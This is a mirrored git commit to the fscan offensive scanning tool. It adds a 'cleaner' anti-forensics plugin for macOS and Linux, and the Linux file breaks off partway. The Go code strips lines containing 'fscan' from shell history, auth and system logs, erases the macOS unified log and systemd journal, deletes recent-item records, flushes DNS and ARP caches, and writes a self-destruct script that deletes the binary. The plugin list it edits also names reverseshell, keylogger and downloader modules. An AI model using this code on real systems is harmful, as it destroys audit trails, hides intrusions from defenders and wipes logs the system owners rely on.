mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
feat: 添加跨平台系统痕迹清理本地插件
- 实现Windows/Linux/macOS三平台痕迹清理功能 - Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存 - Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存 - macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件 - 支持安全文件删除和程序自毁功能 - 采用保守策略避免误删重要文件
This commit is contained in:
parent
25649467c1
commit
c0374a6250
@ -399,12 +399,12 @@ func checkParameterConflicts() {
|
||||
if LocalMode {
|
||||
if LocalPlugin == "" {
|
||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 验证本地插件名称
|
||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader"} // 已重构的插件
|
||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
|
||||
isValid := false
|
||||
for _, valid := range validPlugins {
|
||||
if LocalPlugin == valid {
|
||||
@ -415,7 +415,7 @@ func checkParameterConflicts() {
|
||||
|
||||
if !isValid {
|
||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n")
|
||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
404
Plugins/local/cleaner/cleaner_darwin.go
Normal file
@ -0,0 +1,404 @@
|
||||
//go:build darwin
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理macOS系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Shell历史记录
|
||||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||
cleaned = append(cleaned, shellHistory...)
|
||||
report["shell_history"] = shellHistory
|
||||
}
|
||||
|
||||
// 2. 清理系统日志
|
||||
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
|
||||
cleaned = append(cleaned, systemLogs...)
|
||||
report["system_logs"] = systemLogs
|
||||
}
|
||||
|
||||
// 3. 清理最近项目记录
|
||||
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
|
||||
cleaned = append(cleaned, recentItems...)
|
||||
report["recent_items"] = recentItems
|
||||
}
|
||||
|
||||
// 4. 清理Spotlight索引
|
||||
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
|
||||
cleaned = append(cleaned, spotlight...)
|
||||
report["spotlight_index"] = spotlight
|
||||
}
|
||||
|
||||
// 5. 清理临时文件
|
||||
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
// 6. 清理LaunchServices数据库
|
||||
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
|
||||
cleaned = append(cleaned, launchServices...)
|
||||
report["launch_services"] = launchServices
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
|
||||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// macOS常见的Shell历史文件
|
||||
historyFiles := []string{
|
||||
".bash_history",
|
||||
".zsh_history",
|
||||
".sh_history",
|
||||
}
|
||||
|
||||
for _, histFile := range historyFiles {
|
||||
histPath := filepath.Join(homeDir, histFile)
|
||||
|
||||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(histPath)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||
continue
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 清理当前会话历史
|
||||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Current session history")
|
||||
common.LogSuccess("已清理当前会话历史记录")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMacSystemLogs 清理macOS系统日志
|
||||
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// macOS系统日志路径
|
||||
logPaths := []string{
|
||||
"/var/log/system.log",
|
||||
"/var/log/install.log",
|
||||
"/var/log/secure.log",
|
||||
}
|
||||
|
||||
// 用户日志目录
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir != "" {
|
||||
userLogDir := filepath.Join(homeDir, "Library", "Logs")
|
||||
if entries, err := os.ReadDir(userLogDir); err == nil {
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
|
||||
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, logPath := range logPaths {
|
||||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
if p.filterLogFile(logPath) {
|
||||
cleaned = append(cleaned, logPath)
|
||||
}
|
||||
}
|
||||
|
||||
// 使用log命令清理系统日志
|
||||
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Unified Logging System")
|
||||
common.LogSuccess("已清理统一日志系统")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// filterLogFile 过滤日志文件 (与Linux类似)
|
||||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
content, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// cleanRecentItems 清理macOS最近项目记录
|
||||
func (p *CleanerPlugin) cleanRecentItems() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近项目plist文件
|
||||
recentPaths := []string{
|
||||
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
|
||||
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
|
||||
}
|
||||
|
||||
for _, recentPath := range recentPaths {
|
||||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 对于plist文件,我们采用删除整个文件的方式
|
||||
if strings.HasSuffix(recentPath, ".plist") {
|
||||
if err := os.Remove(recentPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, recentPath)
|
||||
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanSpotlightIndex 清理Spotlight索引
|
||||
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 重建当前目录的Spotlight索引
|
||||
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
|
||||
common.LogSuccess("已重建Spotlight索引")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMacTempFiles 清理macOS临时文件
|
||||
func (p *CleanerPlugin) cleanMacTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
|
||||
// macOS临时目录
|
||||
tempDirs := []string{
|
||||
"/tmp",
|
||||
"/var/tmp",
|
||||
}
|
||||
|
||||
if homeDir != "" {
|
||||
tempDirs = append(tempDirs, []string{
|
||||
filepath.Join(homeDir, "Library", "Caches"),
|
||||
filepath.Join(homeDir, "Library", "Application Support"),
|
||||
}...)
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
entryName := strings.ToLower(entry.Name())
|
||||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
|
||||
entryPath := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件修改时间
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if entry.IsDir() {
|
||||
if err := os.RemoveAll(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
p.cleanupStats["directories"]++
|
||||
}
|
||||
} else {
|
||||
if err := os.Remove(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanLaunchServicesDB 清理LaunchServices数据库
|
||||
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 重建LaunchServices数据库
|
||||
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "LaunchServices Database")
|
||||
common.LogSuccess("已重建LaunchServices数据库")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 清理DNS缓存
|
||||
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
|
||||
common.LogSuccess("已清理DNS缓存")
|
||||
}
|
||||
|
||||
// 清理mDNS缓存
|
||||
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "mDNS Cache")
|
||||
common.LogSuccess("已重启mDNSResponder")
|
||||
}
|
||||
|
||||
// 清理ARP缓存
|
||||
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
|
||||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建shell自毁脚本
|
||||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||
sleep 2
|
||||
rm -f "%s" 2>/dev/null
|
||||
rm -f "$0" 2>/dev/null
|
||||
exit 0`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||
|
||||
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command("/bin/bash", scriptPath)
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createUnixSelfDestruct()
|
||||
}
|
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
421
Plugins/local/cleaner/cleaner_linux.go
Normal file
@ -0,0 +1,421 @@
|
||||
//go:build linux
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理Linux系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Shell历史记录
|
||||
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
|
||||
cleaned = append(cleaned, shellHistory...)
|
||||
report["shell_history"] = shellHistory
|
||||
}
|
||||
|
||||
// 2. 清理系统日志
|
||||
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
|
||||
cleaned = append(cleaned, systemLogs...)
|
||||
report["system_logs"] = systemLogs
|
||||
}
|
||||
|
||||
// 3. 清理临时文件
|
||||
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
// 4. 清理用户缓存
|
||||
if userCache := p.cleanUserCache(); len(userCache) > 0 {
|
||||
cleaned = append(cleaned, userCache...)
|
||||
report["user_cache"] = userCache
|
||||
}
|
||||
|
||||
// 5. 清理最近访问记录
|
||||
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
|
||||
cleaned = append(cleaned, recentFiles...)
|
||||
report["recent_files"] = recentFiles
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanShellHistory 清理Shell历史记录
|
||||
func (p *CleanerPlugin) cleanShellHistory() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 常见的Shell历史文件
|
||||
historyFiles := []string{
|
||||
".bash_history",
|
||||
".zsh_history",
|
||||
".fish_history",
|
||||
".sh_history",
|
||||
}
|
||||
|
||||
for _, histFile := range historyFiles {
|
||||
histPath := filepath.Join(homeDir, histFile)
|
||||
|
||||
// 检查文件是否存在
|
||||
if _, err := os.Stat(histPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取历史文件
|
||||
content, err := os.ReadFile(histPath)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 过滤掉包含fscan的行
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
// 写回过滤后的内容
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 清理当前会话的历史记录
|
||||
if err := exec.Command("history", "-c").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "Current session history")
|
||||
common.LogSuccess("已清理当前会话历史记录")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanLinuxSystemLogs 清理Linux系统日志
|
||||
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 系统日志路径
|
||||
logPaths := []string{
|
||||
"/var/log/auth.log",
|
||||
"/var/log/syslog",
|
||||
"/var/log/messages",
|
||||
"/var/log/secure",
|
||||
"/var/log/user.log",
|
||||
}
|
||||
|
||||
for _, logPath := range logPaths {
|
||||
if _, err := os.Stat(logPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 尝试清理日志中的相关条目
|
||||
if p.filterLogFile(logPath) {
|
||||
cleaned = append(cleaned, logPath)
|
||||
}
|
||||
}
|
||||
|
||||
// 清理journal日志(如果有权限)
|
||||
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "systemd journal")
|
||||
common.LogSuccess("已清理systemd journal日志")
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// filterLogFile 过滤日志文件
|
||||
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
|
||||
// 检查读写权限
|
||||
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// 读取文件内容
|
||||
content, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 过滤包含fscan的行
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
// 写回过滤后的内容
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
|
||||
return false
|
||||
}
|
||||
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// cleanLinuxTempFiles 清理Linux临时文件
|
||||
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 临时目录
|
||||
tempDirs := []string{
|
||||
"/tmp",
|
||||
"/var/tmp",
|
||||
"/dev/shm",
|
||||
}
|
||||
|
||||
// 用户临时目录
|
||||
if homeDir := os.Getenv("HOME"); homeDir != "" {
|
||||
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
|
||||
tempFile := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件是否太新(可能正在使用)
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.Remove(tempFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, tempFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanUserCache 清理用户缓存
|
||||
func (p *CleanerPlugin) cleanUserCache() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 缓存目录
|
||||
cacheDirs := []string{
|
||||
filepath.Join(homeDir, ".cache"),
|
||||
filepath.Join(homeDir, ".local", "share"),
|
||||
}
|
||||
|
||||
for _, cacheDir := range cacheDirs {
|
||||
entries, err := os.ReadDir(cacheDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
entryPath := filepath.Join(cacheDir, entry.Name())
|
||||
entryName := strings.ToLower(entry.Name())
|
||||
|
||||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
|
||||
if entry.IsDir() {
|
||||
if err := os.RemoveAll(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
p.cleanupStats["directories"]++
|
||||
}
|
||||
} else {
|
||||
if err := os.Remove(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRecentFiles 清理最近访问文件记录
|
||||
func (p *CleanerPlugin) cleanRecentFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近文件记录路径
|
||||
recentPaths := []string{
|
||||
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
|
||||
filepath.Join(homeDir, ".recently-used"),
|
||||
filepath.Join(homeDir, ".gtk-bookmarks"),
|
||||
}
|
||||
|
||||
for _, recentPath := range recentPaths {
|
||||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取并过滤文件内容
|
||||
content, err := os.ReadFile(recentPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 清理DNS缓存 (systemd-resolved)
|
||||
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
|
||||
// 尝试其他DNS清理方法
|
||||
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
|
||||
}
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (systemctl)")
|
||||
}
|
||||
|
||||
// 清理ARP缓存
|
||||
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createUnixSelfDestruct 创建Unix自毁脚本
|
||||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建shell自毁脚本
|
||||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||
sleep 2
|
||||
rm -f "%s" 2>/dev/null
|
||||
rm -f "$0" 2>/dev/null
|
||||
exit 0`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||
|
||||
